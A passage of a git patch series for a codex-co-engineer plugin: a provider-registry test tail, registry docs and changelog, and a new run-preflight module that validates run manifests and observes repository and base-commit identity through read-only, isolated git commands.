+ }); + // Dispatch each lane; each stays bound to its own exact child identity. + assert.equal(grok.preflight(requestFor(GROK_FIXTURE, 'preflight')).disposition, 'ready'); + assert.equal(cloud.preflight(requestFor(CLOUD_FIXTURE, 'preflight')).disposition, 'ready'); + assert.equal(local.driver.preflight(requestFor(LOCAL_FIXTURE, 'preflight')).disposition, + 'ready'); + assert.equal( + dshFacade.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', + version: 1, + envelope_text: DSH_FIXTURE.envelope_text, + child_envelope_digest: DSH_FIXTURE.child_envelope_digest, + }).disposition, 'ready'); + // Cross-provider digests are stale everywhere else. + assert.notEqual(GROK_FIXTURE.child_envelope_digest, CLOUD_FIXTURE.child_envelope_digest); + assert.notEqual(GROK_FIXTURE.child_envelope_digest, LOCAL_FIXTURE.child_envelope_digest); + assert.notEqual(DSH_FIXTURE.child_envelope_digest, LOCAL_FIXTURE.child_envelope_digest); + assert.equal(localStub.state.spawnCalls, 0, 'no provider spawns during preflight phase'); +}); + +test('inventory surfaces stay byte-faithful to every accepted adapter description', () => { + const entries = describeProviderRegistryV1().entries; + assert.deepEqual(entries.grok.adapter_surface, describeGrokAcpAdapterSurfaceV1()); + assert.deepEqual(entries['cursor-local'].adapter_surface, describeCursorLocalDriverV1()); + assert.deepEqual(entries['cursor-cloud'].adapter_surface, describeCursorCloudDriverV1()); + assert.deepEqual(entries.dsh.adapter_surface, describeDshApxDriverV1()); +}); + +test('the P22 kit still passes against the inert template as evidence only', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = createFutureHarnessDriverTemplateV1(packed.options); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'registry-inventory-template-dsh', + declaration: packed.options.declaration, + fixture: packed.fixture, + expect: { launch_disposition: 'not_sent' }, + }); + assert.equal(report.ok, true); + assert.equal(report.live_transport_qualification, false, + 'the registered P22 surface proves contract evidence, never a live route'); + + // The registry inventory is the only composition authority: exactly four + // slots, one accepted adapter each, selection rule pinned. + const description = describeProviderRegistryV1(); + assert.equal(PROVIDER_REGISTRY_SLOTS.length, 4); + assert.equal(description.selection_rule, REGISTRY_SELECTION_RULE); + assert.deepEqual([...description.slots], [...PROVIDER_REGISTRY_SLOTS]); + for (const slot of description.slots) { + const entry = description.entries[slot]; + assert.equal(entry.provider, slot); + assert.ok(entry.adapter_surface.live_qualification === false + || entry.adapter_surface.claims?.live_transport_qualification === false + || entry.adapter_surface.transport_mode !== undefined, slot); + } +}); From f6467f18bddc70248ab14bcfa0ca12ee3abd9351 Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Mon, 24 Aug 2026 23:59:36 +0000 Subject: [PATCH 092/151] docs(provider): record the P23 registry cutover boundary Add docs/provider-registry.md describing the closed invariants (four grammar-ordered slots, deterministic exact_closed_slot_no_fallback selection, one accepted factory per slot, no ambient discovery, content-free typed failure, quoted-not-restated accepted claims), the registered surfaces table, the API, the non-goals (no supervisor/server/ scheduler/durable-store cutover, no live qualification, no merge/PR authority, no direct mode, no version change), and the test commands. Update docs/future-work.md so the registry cutover is recorded as in-tree while supervisor/server cutover onto it, real-route qualification, scheduler, durable store, evidence bundles, cloud-worker sinks, cleanup, run runtime, and AttentionBatchV1 stay later work. Record the P23 registry entry under [Unreleased] -> Added. --- CHANGELOG.md | 32 ++++++++++++ docs/future-work.md | 13 +++-- docs/provider-registry.md | 103 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 143 insertions(+), 5 deletions(-) create mode 100644 docs/provider-registry.md diff --git a/CHANGELOG.md b/CHANGELOG.md index 6074e0d..a2c8b0d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,38 @@ ### Added +- **Provider registry composition authority.** Adds the additive v3 + `provider-registry.mjs` module (P23): the deterministic, closed + composition authority behind provider selection. It registers exactly the + four accepted `ProviderDriverV1` adapters (P18 Grok ACP `grok`, P19 + Cursor Local `cursor-local`, P21 Cursor Cloud `cursor-cloud`, P20 DSH + ACPX `dsh`) in the frozen P02 grammar slot order, re-deriving that + vocabulary from the accepted grammar leaf so it cannot drift. Selection + (`resolveRegistrySelectionV1`) maps an exact `{provider, model}` pair + onto one entry under `exact_closed_slot_no_fallback` with no preference + walk, substitution, fallback, retry, or replay; closed model lists are + enforced against accepted constants and grammar-owned models stay with + their adapters, so no vocabulary is widened. Composition + (`composeProviderDriverV1`) gates the provider before reading any option + byte, quarantines hostile inputs content-free (Proxies, accessors, + symbols, non-enumerables, exotic prototypes, unknown keys fail closed + without running caller code), delegates to the one exact accepted factory, + and returns its value untouched so adapter lane stores, evidence maps, + and identity binding keep accepted semantics. Inventory + (`describeProviderRegistryV1`) quotes each accepted module's own describe + surface in detached frozen clones instead of restating capability claims. + The P22 future-harness template/conformance kit is inventoried as + mock/conformance evidence only: never a fifth provider slot, never + selectable, never composable here. The registry performs no ambient + discovery (no filesystem, environment, PATH, network, clock, random + source, process, or dynamic import), performs no supervisor/server/ + scheduler/durable-store cutover, claims no live transport qualification, + merge/PR authority, or direct mode, and changes no version or 3.2.1 + legacy behavior. Coverage lives in `test/r1-provider-registry.test.mjs`, + `test/r1-provider-registry-adversarial.test.mjs`, and + `test/r1-provider-registry-integration.test.mjs`; boundaries live in + `docs/provider-registry.md`. + - **Local provider result sink.** Adds additive v3 `local-provider-result-sink.mjs` (P11) that routes final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI provider output into the accepted diff --git a/docs/future-work.md b/docs/future-work.md index bac883b..de91b63 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -46,11 +46,14 @@ runtime-changed: P11 fixtures `chmod 0700` after creating their own roots and do not include optional P08 umask test-fixture determinization. -Cursor Local and Cursor Cloud adapters, registry cutover, scheduler, -durable store, P12 evidence bundles, cloud-worker sinks, cleanup, run -runtime, and `AttentionBatchV1` remain later work. Gate A remains the -functional release authority; Gate B context-efficiency and Gate C -credit economics stay advisory. +The P23 provider registry (`mcp/v3/provider-registry.mjs`) now composes +the four accepted adapters behind one closed, deterministic composition +authority; see `docs/provider-registry.md`. Supervisor/server cutover onto +that registry, real-route qualification, scheduler, durable store, P12 +evidence bundles, cloud-worker sinks, cleanup, run runtime, and +`AttentionBatchV1` remain later work. Gate A remains the functional +release authority; Gate B context-efficiency and Gate C credit economics +stay advisory. This worktree does not implement the run runtime, candidate composition, or `AttentionBatchV1`. The P16A VerificationPolicyV1 schema and owner loader, the P16B approved-command resolver, and the P16C constrained diff --git a/docs/provider-registry.md b/docs/provider-registry.md new file mode 100644 index 0000000..7608b10 --- /dev/null +++ b/docs/provider-registry.md @@ -0,0 +1,103 @@ +# Provider registry — closed composition authority (P23) + +The P23 provider registry is one additive v3 module, +`plugins/codex-co-engineer/mcp/v3/provider-registry.mjs`. It is the +deterministic, closed composition authority behind provider selection: the +one place where the accepted `ProviderDriverV1` adapters are registered and +composed. It owns only that seam. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/provider-registry.mjs` +- `plugins/codex-co-engineer/test/r1-provider-registry.test.mjs` +- `plugins/codex-co-engineer/test/r1-provider-registry-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/r1-provider-registry-integration.test.mjs` + +## Registered surfaces + +Exactly four provider slots exist, in the frozen P02 grammar order +(`grok`, `cursor-local`, `cursor-cloud`, `dsh`). The slot vocabulary is +re-derived on every read from the accepted P02 grammar leaf +(`knownProvidersList()`), so the registry cannot drift from the closed +provider set: + +| Slot | Accepted adapter | Composition seam | +| --- | --- | --- | +| `grok` | P18 `grok-acp-driver.mjs` | `bindGrokAcpDriverV1` (transport property) | +| `cursor-local` | P19 `cursor-local-driver.mjs` | `createCursorLocalDriverV1` (options bag) | +| `cursor-cloud` | P21 `cursor-cloud-driver.mjs` | `bindCursorCloudDriverV1` (transport property) | +| `dsh` | P20 `dsh-acpx-driver.mjs` | `createDshApxDriverV1` (options bag) | + +The P22 future-harness template and conformance kit +(`provider-driver-template.mjs`, `future-harness.mjs`, +`provider-driver-conformance.mjs`) are inventoried as +mock/conformance evidence with `provider_slot: null`. They are never a +fifth provider, never selectable, and never composable through this +surface; passing the kit still proves no live transport. + +## Closed invariants + +- **Closed vocabulary.** Four slots, fixed at module load, frozen, and + re-derived from the P02 grammar. Runtime growth is impossible. +- **Deterministic selection.** `resolveRegistrySelectionV1` maps an exact + `{provider, model}` pair onto exactly one entry with rule + `exact_closed_slot_no_fallback`: no preference walk, no substitution, no + fallback, no retry, and no replay. Where the accepted adapter owns a + closed model list (`dsh`), selection enforces membership against that + accepted frozen constant; where an adapter owns a model grammar, the + adapter stays the sole model authority. No vocabulary is widened. +- **One factory per slot.** `registryComposeFunctionV1(slot)` returns the + exact accepted factory object; `composeProviderDriverV1(slot, options)` + delegates to it after a content-free quarantine and returns its value + untouched. There is no wrapper layer, so adapter lane stores, evidence + maps, and identity binding keep their accepted semantics. +- **No ambient discovery.** The module performs no filesystem, environment, + PATH, network, clock, random-source, process, or dynamic-import access at + load or call time. Registration is static imports of accepted modules. +- **Content-free failure.** Hostile providers, selections, and options — + live or revoked Proxies, accessors, symbols, non-enumerable properties, + exotic prototypes, unknown keys — fail closed with typed + `RunContractV1Error`s whose codes, paths, and messages are fixed + templates. Provider gating happens before any option byte is read, and + getters and proxy traps never execute. +- **Accepted claims are quoted, not restated.** Inventory data is projected + from each accepted module's own exported describe surface into detached + frozen clones, so no parallel capability schema exists. + +## Non-goals + +No supervisor, server, scheduler, or durable-store cutover; no live +transport qualification for any provider; no merge/PR authority; no direct +mode; no ambient discovery; no fallback, replay, retry, or fifth operation; +no version change (3.2.1 legacy receipts and behavior are untouched). The +supervisor/run-runtime cutover onto this registry remains later work under +`docs/future-work.md`. + +## API + +- `describeProviderRegistryV1()` — deterministic deep-frozen inventory: + schema/version, slots, per-slot entries (adapter schema id, compose + function name, option contract, model rule, accepted adapter surface), + the P22 evidence section, and explicit all-false nonclaims. +- `registrySlotsV1()` / `PROVIDER_REGISTRY_SLOTS` — fresh frozen / + snapshot copies of the closed slot order. +- `isRegistrySlotV1(provider)` / `requireRegistrySlotV1(provider)` — + boolean membership / typed exact-slot requirement. +- `registryEntryV1(provider)` — frozen inventory entry for one slot. +- `resolveRegistrySelectionV1({provider, model})` — pure deterministic + selection plan; constructs nothing. +- `registryComposeFunctionV1(provider)` — the exact accepted factory. +- `composeProviderDriverV1(provider, options)` — quarantined composition + through the accepted factory. + +## Testing + +``` +node --no-warnings --test test/r1-provider-registry.test.mjs \ + test/r1-provider-registry-adversarial.test.mjs \ + test/r1-provider-registry-integration.test.mjs +``` + +From `plugins/codex-co-engineer`. The integration file composes every +accepted driver exclusively through the registry and drives preflight, +launch, reconcile, and cancel with exact identity echo. From c7c36dbb8bca99230ffdad90f4dba4ff21848463 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 01:28:24 +0000 Subject: [PATCH 093/151] feat(run): validate exact repository and base SHA Add the additive P26 RunPreflightV1 launch-side validation gate. It validates ONLY: no workspace, branch, task dispatch, credential projection, remote mutation, or reservation is ever created on success or failure; the only spawns are read-only git observations run argv-only under the accepted closed git environment with --no-replace-objects --no-optional-locks and disabled hooks/fsmonitor. One preflight quarantines hostile requests (Proxies, symbols, non-enumerables, aliases), composes the complete accepted P02 contract through parseRunManifestV1(), re-checks writer-scope disjointness over the frozen snapshot, and observes exact canonical repository/base identity on the host: canonical realpath identity, non-bare work-tree toplevel equality, trusted .git layout (directory, linked-worktree pointer, symlink rejection), base existing as exactly one immutable commit object with symbolic spellings denied structurally before any process runs, and no replace refs shadowing object identity. The receipt is detached, deeply frozen, carries all-false launch side-effect nonclaims, and binds a P03 GitIdentityV1 for direct P24 run-store compatibility. P05 resolution and P23 composition stay behind their own authorities and are not invoked. --- docs/run-preflight.md | 97 +++ .../mcp/v3/run-preflight.mjs | 752 ++++++++++++++++++ .../fixtures/r1-run-preflight-fixtures.mjs | 274 +++++++ .../r1-run-preflight-adversarial.test.mjs | 329 ++++++++ .../test/r1-run-preflight.test.mjs | 396 +++++++++ 5 files changed, 1848 insertions(+) create mode 100644 docs/run-preflight.md create mode 100644 plugins/codex-co-engineer/mcp/v3/run-preflight.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-preflight.test.mjs diff --git a/docs/run-preflight.md b/docs/run-preflight.md new file mode 100644 index 0000000..8b412d1 --- /dev/null +++ b/docs/run-preflight.md @@ -0,0 +1,97 @@ +# Run preflight — launch-side validation gate (P26) + +The P26 run preflight is one additive v3 module, +`plugins/codex-co-engineer/mcp/v3/run-preflight.mjs`. It is the validation +gate between an authored run submission and any later launch surface: it +proves a run is launchable exactly as submitted, and it launches nothing. + +## Validate only + +A preflight pass creates **no workspace, no branch or ref, no task dispatch, +no credential projection, no remote mutation, and no reservation** — and a +preflight failure leaves even less. The receipt carries an all-false +side-effect nonclaim map so consumers can assert the boundary in tests. The +module never writes to the filesystem; its only process spawns are read-only +git observations (`rev-parse`, `cat-file -t`, `for-each-ref`) run argv-only +under the accepted closed git environment with `--no-replace-objects +--no-optional-locks`, disabled hooks/fsmonitor/untracked-cache, so even +advisory lock files cannot appear as an observation side effect. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-preflight.mjs` +- `plugins/codex-co-engineer/test/r1-run-preflight.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs` +- this document + +## Exact canonical repository/base identity + +The repository and base SHA are observed on the host, not taken from the +submission's word alone. One observation proves all of: + +- the path is a real directory identical to its own canonical `realpath` + spelling — symlink aliases, bare repositories, non-work-tree roots, and + alternate directory spellings fail closed; +- git independently reports the same work tree toplevel as the submitted + path and yields a trusted absolute git directory; +- the `.git` layout is trusted: a `.git` directory must resolve to the + observed git dir, a linked-worktree `.git` file must point (absolutely or + relatively) at the same resolved target, and symlinked `.git` entries are + rejected; +- the base exists in that repository as **exactly one immutable commit + object**: full 40-character lowercase hex is enforced by the accepted P02 + grammar before any process runs, so symbolic spellings (`HEAD`, `@`, + branch names), abbreviations, uppercase hex, suffix expressions, and + SHA-256-length strings never reach git; annotated tag objects, trees, and + blobs are denied as a base even though they are valid objects; +- no `refs/replace/*` entry shadows object identity. + +Detached HEAD is deliberately irrelevant: the base identity comes from the +object database, never from where HEAD happens to point. + +## Composition + +Preflight composes accepted surfaces and invents none of their semantics: + +| Surface | Owner | Use here | +| --- | --- | --- | +| Run envelope, assignments, policy, scope grammar | P02 `run-manifest` / `run-policy` | complete contract via `parseRunManifestV1()` | +| GitIdentityV1 digest binding | P03 `protected-identity` / `identity` | receipt carries `buildGitIdentityV1()` bytes | +| Selection resolution | P05 resolver | not invoked; resolution stays behind its own authority | +| Provider composition | P23 registry | not invoked; nothing is composed or dispatched | +| Durable submission | P24 run store | consumes `receipt.git_identity`; nothing is written | + +Upstream denial codes pass through unchanged, so existing callers keep +their accepted error vocabulary; codes owned by this boundary live in the +closed `RUN_PREFLIGHT_ERROR_CODES` list. + +## Non-goals + +No workspace provisioning, branch creation, dispatch, scheduling, provider +composition, selection resolution, store writes, cleanup ownership, +supervisor/server cutover, merge or PR authority, direct mode, network +access, or credential handling. Preflight failure output is bounded and +content-free: messages are fixed templates that never echo hostile values. + +## API + +- `validateRunPreflightV1(request, options?)` — async; returns a detached, + deeply frozen ready receipt or throws a typed content-free + `RunContractV1Error`. `request` is `{ manifest }`; `options` may inject + `spawn` (test seam) and `host` facts. +- `describeRunPreflightV1()` — deterministic deep-frozen inventory of the + schema, bounds, checks, error codes, and nonclaims. +- `RUN_PREFLIGHT_SCHEMA_ID`, `RUN_PREFLIGHT_VERSION`, + `PREFLIGHT_MIN_CHILDREN`, `PREFLIGHT_MAX_CHILDREN`, + `PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD`, `RUN_PREFLIGHT_CHECKS`, + `RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS`, `RUN_PREFLIGHT_ERROR_CODES`, + `RUN_PREFLIGHT_READONLY_GIT_COMMANDS`. + +## Testing + +``` +node --no-warnings --test test/r1-run-preflight.test.mjs \ + test/r1-run-preflight-adversarial.test.mjs \ + test/r1-run-preflight-side-effect.test.mjs +``` diff --git a/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs new file mode 100644 index 0000000..10bfa8a --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-preflight.mjs @@ -0,0 +1,752 @@ +// RunPreflightV1 — launch-side preflight validation gate (P26). +// +// Additive v3 module. It sits between an authored run submission and any +// later launch surface and validates ONLY: a passing preflight creates no +// workspace, no branch or ref, no task dispatch, no credential projection, +// no remote mutation, and no reservation; a failing preflight leaves even +// less. The module performs no filesystem write of any kind, and its only +// process spawns are read-only git observations (`rev-parse`, `cat-file -t`, +// `for-each-ref`) run argv-only under the accepted closed git environment +// with `--no-replace-objects --no-optional-locks`, disabled fsmonitor and +// hooks, so even advisory lock files cannot appear as an observation +// side effect. +// +// What one preflight validates, in a fixed fail-fast pipeline: +// 1. hostile-input quarantine of the whole request (Proxies, symbols, +// non-enumerables, aliases, exotic prototypes) before any byte is +// interpreted; +// 2. the complete accepted P02 run contract through +// `parseRunManifestV1()` — envelope, deep AssignmentManifestV1, +// RunPolicyV1 literals, and overlapping-writer-scope detection — so +// every upstream denial code keeps its accepted meaning; +// 3. exact canonical repository/base identity observed on the host: the +// submitted path must be a real directory identical to its own +// realpath (never a symlink alias or alternate spelling), inside a +// work tree, not bare, with a trusted `.git` layout whose resolved +// target equals the observed git directory, and the submitted base +// must exist in that repository as exactly one commit object with no +// replace refs shadowing object identity; +// 4. a detached, deeply frozen receipt carrying the observed facts plus +// a P03-bound GitIdentityV1 for direct P24 run-store compatibility. +// +// Composition stays additive: manifest/policy semantics belong to the P02 +// modules, the GitIdentityV1 digest binding belongs to the P03 authority, +// selection resolution stays behind the P05 resolver (never invoked here), +// provider composition stays behind the P23 registry (never invoked here), +// and durable submission stays behind the P24 store (nothing is written +// here). There is no supervisor/server cutover, no scheduling, no dispatch, +// no workspace provisioning, and no cleanup ownership. + +import { spawn as nodeSpawn } from 'node:child_process'; +import { lstat as nodeLstat, readFile as nodeReadFile, realpath as nodeRealpath } from 'node:fs/promises'; +import * as nodeOs from 'node:os'; +import * as nodePath from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, +} from './grammar.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + MAX_GIT_ARG_BYTES, + MAX_GIT_ARGS, + MAX_GIT_OUTPUT_BYTES, + MAX_GIT_TIME_MS, + MAX_GIT_TOTAL_TIME_MS, +} from './git-identity.mjs'; +import { buildGitIdentityV1 } from './protected-identity.mjs'; +import { + RunContractV1Error, + isPlainObject, + writerScopesOverlap, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; +import { parseRunManifestV1 } from './run-policy.mjs'; + +export const RUN_PREFLIGHT_SCHEMA_ID = 'codex-co-engineer.run-preflight.v1'; +export const RUN_PREFLIGHT_VERSION = 1; + +// The launch boundary owns its child bounds as frozen literals. They are +// deliberately NOT derived from any quota, plan, or grammar constant, so a +// routine quota change anywhere else can never widen this invariant. +export const PREFLIGHT_MIN_CHILDREN = 1; +export const PREFLIGHT_MAX_CHILDREN = 8; + +// Deterministic capacity model: every concurrently running child is +// guaranteed a schedulable CPU slot and a private RAM floor. +export const PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD = 268_435_456; + +export const PREFLIGHT_REQUEST_ALLOWED_KEYS = capturedFreeze(['manifest']); +export const PREFLIGHT_OPTIONS_ALLOWED_KEYS = capturedFreeze(['host', 'spawn']); +export const PREFLIGHT_HOST_FACTS_ALLOWED_KEYS = capturedFreeze([ + 'cpu_parallelism', 'total_ram_bytes', 'available_ram_bytes', +]); + +// Read-only git observations are the only spawns this boundary may issue, +// under the accepted isolation flags. Anything else is a defect, not an +// extension point. +export const RUN_PREFLIGHT_READONLY_GIT_COMMANDS = capturedFreeze([ + 'rev-parse', 'cat-file', 'for-each-ref', +]); + +const PRIVATE_GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', + '-c', 'core.fsmonitor=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.untrackedCache=false', +]); + +const PRIVATE_MAX_LAYOUT_FILE_BYTES = 4096; +const PRIVATE_MAX_GIT_COMMANDS = 8; +const PRIVATE_BASE_TYPE = 'commit'; +const PRIVATE_TRUE_FALSE_PATTERN = /^(?:true|false)$/u; +const PRIVATE_SINGLE_LINE_PATTERN = /^[^\n\r\0]*$/u; +const PRIVATE_GITDIR_LINE_PATTERN = /^gitdir: (\/[^\n\r\0]*)$/u; + +export const RUN_PREFLIGHT_CHECKS = capturedFreeze([ + 'request_quarantine', + 'complete_run_manifest', + 'canonical_repository', + 'exact_base_commit', + 'no_replace_refs', +]); + +export const RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ + 'workspace_created', + 'branch_or_ref_created', + 'task_dispatched', + 'credentials_projected', + 'remote_mutated', + 'reservation_held', +]); + +// Closed vocabulary of the codes this boundary owns. Upstream codes raised +// by the composed accepted validators pass through unchanged and stay +// authoritative for their surfaces. +export const RUN_PREFLIGHT_ERROR_CODES = capturedFreeze([ + 'spawn_invalid', + 'host_facts_invalid', + 'observation_failed', + 'repository_missing', + 'repository_not_canonical', + 'repository_layout_invalid', + 'base_identity_invalid', + 'replace_refs_denied', + 'bounds_exceeded', +]); + +const PRIVATE_RECEIPT_KEYS = capturedFreeze([ + 'schema', 'version', 'status', 'run_id', 'children', 'capacity', 'repository', + 'checks', 'side_effects', 'git_identity', +]); +const PRIVATE_CHILD_SUMMARY_KEYS = capturedFreeze([ + 'count', 'minimum', 'maximum', 'independent', 'concurrency', 'assignment_ids', +]); +const PRIVATE_CAPACITY_SUMMARY_KEYS = capturedFreeze([ + 'source', 'cpu_parallelism', 'total_ram_bytes', 'available_ram_bytes', + 'required_ram_bytes', 'cpu_ok', 'ram_ok', +]); +const PRIVATE_REPOSITORY_FACTS_KEYS = capturedFreeze([ + 'path', 'base_sha', 'object_type', 'git_dir', +]); + +function failPreflight(code, path, message) { + fail(code, path, message); +} + +function contractError(code, path, message) { + return new RunContractV1Error(code, path, message); +} + +function sortedOwnKeys(value) { + const keys = capturedOwnKeys(value); + const sorted = [...keys]; + sorted.sort(); + return sorted; +} + +function assertClosedKeySet(value, allowedKeys, path) { + for (const key of sortedOwnKeys(value)) { + if (!capturedIncludes(allowedKeys, key)) { + failPreflight('invalid_format', `${path}.${key}`, + `${path} carries a key outside the closed preflight vocabulary.`); + } + } +} + +function requiredKey(value, key, path) { + if (!hasOwn(value, key)) { + failPreflight('missing_key', `${path}.${key}`, + `${path}.${key} is required (${RUN_PREFLIGHT_SCHEMA_ID}); preflight requests have no hidden defaults.`); + } + return ownDataValue(value, key, `${path}.${key}`); +} + +function defaultSpawn() { + return nodeSpawn; +} + +function parseOptions(options) { + if (options === undefined) { + return capturedFreeze({ host: null, spawn: defaultSpawn() }); + } + assertNotProxy(options, 'options'); + if (!isPlainObject(options)) { + failPreflight('invalid_type', 'options', 'options must be a plain JSON data object.'); + } + assertClosedKeySet(options, PREFLIGHT_OPTIONS_ALLOWED_KEYS, 'options'); + // The spawn seam is a trusted process handle, not JSON data: it is + // validated directly and kept out of the JSON closure walk. + let spawn = defaultSpawn(); + if (hasOwn(options, 'spawn')) { + spawn = ownDataValue(options, 'spawn', 'options.spawn'); + if (typeof spawn !== 'function') { + failPreflight('invalid_type', 'options.spawn', 'options.spawn must be a spawn function.'); + } + assertNotProxy(spawn, 'options.spawn'); + } + let host = null; + if (hasOwn(options, 'host')) { + host = parseHostFacts(ownDataValue(options, 'host', 'options.host')); + } + return capturedFreeze({ host, spawn }); +} + +function ambientHostFacts() { + const os = nodeOs; + let parallelism; + try { + parallelism = typeof os.availableParallelism === 'function' ? os.availableParallelism() : os.cpus().length; + } catch { + parallelism = 0; + } + let total; + try { + total = os.totalmem(); + } catch { + total = 0; + } + let available; + try { + available = os.freemem(); + } catch { + available = 0; + } + return capturedFreeze({ + cpu_parallelism: parallelism, + total_ram_bytes: total, + available_ram_bytes: available, + }); +} + +function parseHostFacts(value) { + assertNotProxy(value, 'options.host'); + if (!isPlainObject(value)) { + failPreflight('invalid_type', 'options.host', 'options.host must be a plain JSON data object.'); + } + assertDirectJsonClosure(value, 'options.host'); + assertClosedKeySet(value, PREFLIGHT_HOST_FACTS_ALLOWED_KEYS, 'options.host'); + const facts = {}; + for (const key of PREFLIGHT_HOST_FACTS_ALLOWED_KEYS) { + const factValue = requiredKey(value, key, 'options.host'); + if (typeof factValue !== 'number' || !Number.isSafeInteger(factValue) || factValue < 0) { + failPreflight('host_facts_invalid', `options.host.${key}`, + 'Injected host facts must be non-negative safe integers.'); + } + facts[key] = factValue; + } + return capturedFreeze(facts); +} + +function parseRequest(request) { + if (request === undefined || request === null) { + failPreflight('invalid_type', 'request', 'A preflight request must be a plain JSON data object.'); + } + assertDirectJsonClosure(request, 'request'); + assertNotProxy(request, 'request'); + if (!isPlainObject(request)) { + failPreflight('invalid_type', 'request', 'A preflight request must be a plain JSON data object.'); + } + assertClosedKeySet(request, PREFLIGHT_REQUEST_ALLOWED_KEYS, 'request'); + const manifest = requiredKey(request, 'manifest', 'request'); + return manifest; +} + +function summarizeChildren(snapshot) { + const assignments = snapshot.assignments; + const ids = []; + for (let index = 0; index < assignments.length; index += 1) { + ids.push(assignments[index].assignment_id); + } + return capturedFreeze({ + count: assignments.length, + minimum: PREFLIGHT_MIN_CHILDREN, + maximum: PREFLIGHT_MAX_CHILDREN, + independent: true, + concurrency: snapshot.policy.max_concurrency, + assignment_ids: capturedFreeze(ids), + }); +} + +// Defense-in-depth at the launch boundary: the parsed snapshot is detached +// and frozen, so this pairwise recheck cannot race a caller mutation. The +// comparison is the accepted conservative static-prefix intersection. +function assertSnapshotDisjointWriterScopes(snapshot) { + const assignments = snapshot.assignments; + const scopes = []; + for (let index = 0; index < assignments.length; index += 1) { + const assignment = assignments[index]; + if (!assignment || assignment.access !== 'writer') continue; + scopes.push({ + index, + assignment_id: assignment.assignment_id, + patterns: assignment.write_scope, + }); + } + for (let left = 0; left < scopes.length; left += 1) { + for (let right = left + 1; right < scopes.length; right += 1) { + const leftScope = scopes[left]; + const rightScope = scopes[right]; + for (let leftIndex = 0; leftIndex < leftScope.patterns.length; leftIndex += 1) { + for (let rightIndex = 0; rightIndex < rightScope.patterns.length; rightIndex += 1) { + if (writerScopesOverlap(leftScope.patterns[leftIndex], rightScope.patterns[rightIndex])) { + failPreflight('overlapping_writer_scope', `assignments[${right}].write_scope`, + 'Two child assignments declare overlapping writer scopes; concurrent writers must own disjoint paths.'); + } + } + } + } + } +} + +function createSession(spawnFn) { + return { + spawn: spawnFn, + commands: 0, + startedAt: Date.now(), + deadlineAt: Date.now() + MAX_GIT_TOTAL_TIME_MS, + }; +} + +function assertSessionBounds(session, path) { + if (session.commands >= PRIVATE_MAX_GIT_COMMANDS) { + failPreflight('bounds_exceeded', path, 'The preflight exceeded its git command budget.'); + } + if (Date.now() >= session.deadlineAt) { + failPreflight('bounds_exceeded', path, 'The preflight exceeded its git wall-clock budget.'); + } +} + +function decodeUtf8(bytes, path) { + let text; + try { + text = bytes.toString('utf8'); + } catch { + failPreflight('observation_failed', path, 'A git observation produced an invalid encoding.'); + } + let roundtrip; + try { + roundtrip = Buffer.from(text, 'utf8'); + } catch { + failPreflight('observation_failed', path, 'A git observation produced an invalid encoding.'); + } + if (roundtrip.length !== bytes.length || !roundtrip.equals(bytes)) { + failPreflight('observation_failed', path, 'A git observation produced a non-UTF-8 response.'); + } + return text; +} + +async function runObservation(session, args, pathLabel) { + if (!capturedIsArray(args)) { + failPreflight('observation_failed', pathLabel, 'The preflight observation argv is malformed.'); + } + assertSessionBounds(session, pathLabel); + session.commands += 1; + const argv = [...PRIVATE_GIT_ISOLATION_FLAGS, ...args]; + if (argv.length > MAX_GIT_ARGS) { + failPreflight('bounds_exceeded', pathLabel, 'The preflight observation exceeds the git argv cap.'); + } + for (const arg of argv) { + if (typeof arg !== 'string' || arg.length === 0 || arg.includes('\0') + || Buffer.byteLength(arg, 'utf8') > MAX_GIT_ARG_BYTES) { + failPreflight('observation_failed', pathLabel, 'The preflight observation argv is malformed.'); + } + } + const spawnOptions = { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }; + const remainingMs = session.deadlineAt - Date.now(); + return new Promise((resolve) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, argv, spawnOptions); + } catch { + resolve(contractError('observation_failed', pathLabel, + 'The preflight could not start a git observation.')); + return; + } + if (!child || (typeof child !== 'object' && typeof child !== 'function')) { + resolve(contractError('observation_failed', pathLabel, + 'The preflight could not start a git observation.')); + return; + } + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let exceeded = false; + let settled = false; + let timer; + const finish = (error, result) => { + 